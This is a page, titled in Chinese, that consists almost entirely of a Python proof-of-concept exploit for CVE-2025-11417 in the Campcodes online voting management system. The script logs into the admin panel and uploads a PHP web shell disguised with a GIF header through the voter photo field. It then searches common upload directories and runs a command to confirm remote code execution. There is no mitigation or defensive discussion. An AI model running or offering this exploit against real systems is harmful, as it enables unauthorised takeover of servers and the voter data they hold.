CVE-2025-11417：Campcodes在线投票管理系统任意文件上传漏洞

# CVE-2025-11417 PoC - Campcodes Advanced Online Voting Management System # Unrestricted File Upload via /admin/voters_add.php (photo parameter) import requests import sys from requests_toolbelt.multipart.encoder import MultipartEncoder TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" USERNAME = sys.argv[2] if len(sys.argv) > 2 else "admin" PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "password" session = requests.Session() # Step 1: Login to the admin panel to obtain a valid session login_url = f"{TARGET_URL}/admin/login.php" login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } resp = session.post(login_url, data=login_data) print(f"[*] Login response status: {resp.status_code}") # Step 2: Prepare malicious PHP webshell payload disguised as an image # Using a GIF header to bypass naive content-type checks php_payload = b"GIF89a;\n<?php system($_GET['cmd']); ?>" upload_url = f"{TARGET_URL}/admin/voters_add.php" multipart_data = MultipartEncoder( fields={ "firstname": "test", "lastname": "test", "username": "voter_test", "password": "test123", "photo": ("shell.php", php_payload, "image/gif"), "add": "submit" } ) headers = { "Content-Type": multipart_data.content_type, "Referer": f"{TARGET_URL}/admin/voters_add.php" } # Step 3: Upload the malicious file print(f"[*] Uploading payload to {upload_url}") resp = session.post(upload_url, data=multipart_data, headers=headers) print(f"[*] Upload response status: {resp.status_code}") # Step 4: Try to access the uploaded webshell # Common upload directories in Campcodes voting system shell_paths = [ f"{TARGET_URL}/admin/uploads/shell.php", f"{TARGET_URL}/admin/upload/shell.php", f"{TARGET_URL}/admin/images/shell.php", f"{TARGET_URL}/uploads/shell.php", f"{TARGET_URL}/upload/shell.php", f"{TARGET_URL}/images/shell.php" ] for shell_url in shell_paths: print(f"[*] Checking shell at: {shell_url}") resp = session.get(shell_url, params={"cmd": "id"}) if resp.status_code == 200 and ("uid=" in resp.text or "www-data" in resp.text): print(f"[+] SUCCESS! Webshell is accessible at: {shell_url}") print(f"[+] Command output: {resp.text}") break else: print("[-] Could not locate uploaded shell. Check upload directory manually.")